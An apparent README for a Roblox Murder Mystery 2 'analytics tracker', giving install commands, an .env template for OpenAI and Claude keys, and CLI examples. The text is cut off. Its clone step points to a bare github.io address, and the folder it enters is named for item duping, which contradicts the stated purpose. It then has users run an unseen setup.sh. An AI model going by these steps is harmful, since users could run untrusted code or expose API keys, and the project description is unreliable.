Mm2 Analytics Roblox Tracker

# MM2 Analytics Roblox Tracker

> Skill by [ara.so](https://ara.so) — Data Skills collection.

This project is an analytics and inventory management toolkit for Roblox's Murder Mystery 2 game. It provides data visualization, inventory tracking, strategy analysis, and performance metrics to help players optimize their gameplay through data-driven insights.

## What It Does

The MM2 Analytics Dashboard offers:

- **Inventory Management**: Track knife skins, gamepasses, and collection completeness
- **Analytics Engine**: Visualize win/loss ratios, performance metrics, and strategy patterns
- **AI-Powered Insights**: Pattern recognition and predictive modeling for inventory values
- **Multi-platform Support**: Desktop, tablet, mobile, and web browser compatibility
- **Export Capabilities**: Export statistics in JSON/CSV formats

## Installation

### Automated Setup

```bash
chmod +x setup.sh
./setup.sh --install
```

### Manual Installation

```bash
# Clone the repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox

# Install dependencies
npm install
python3 -m pip install -r requirements.txt
```

### System Requirements

- **OS**: Windows 10/11, macOS Ventura+, Ubuntu 22.04+
- **Python**: 3.8+
- **Node.js**: 16+
- **Browser**: Chrome 120+, Firefox 121+

## Configuration

### Environment Variables

Create a `.env` file in the project root:

```bash
# API Keys (optional for AI features)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}

# Data Configuration
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true

# Export Settings
EXPORT_FORMAT=json
LOG_LEVEL=INFO
```

### Profile Configuration

Create or edit `config/profile.yaml`:

```yaml
profile:
  username: "MysterySolver2026"
  preferred_role: "sheriff"
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient"]
    - category: "gamepasses"
      active: true
  
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
  
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"
```

## Key Commands (CLI)

### Analytics Mode

Run comprehensive analytics on your gameplay data:

```bash
python3 main.py --mode analytics \
  --profile mystery_solver_01 \
  --export statistics_2026.json \
  --format json \
  --verbose
```

### Inventory Scan

Scan and catalog your MM2 inventory:

```bash
python3 main.py --mode inventory \
  --scan-knife-skins \
  --scan-gamepasses \
  --output inventory_report.csv
```

### Strategy Analysis

Analyze gameplay patterns and generate strategy recommendations:

```bash
python3 main.py --mode strategy \
  --analyze-patterns \
  --role sheriff \
  --export strategy_insights.json
```

### Live Tracking

Enable real-time gameplay tracking:

```bash
python3 main.py --mode live \
  --track-performance \
  --interval 30 \
  --log-level DEBUG
```

## Python API Usage

### Basic Analytics

```python
from mm2_analytics import AnalyticsEngine, ProfileLoader

# Load user profile
profile = ProfileLoader.load("mystery_solver_01")

# Initialize analytics engine
engine = AnalyticsEngine(profile)

# Run comprehensive analysis
results = engine.analyze(
    mode="comprehensive",
    include_inventory=True,
    include_strategy=True
)

# Export results
engine.export(results, format="json", output="stats.json")
```

### Inventory M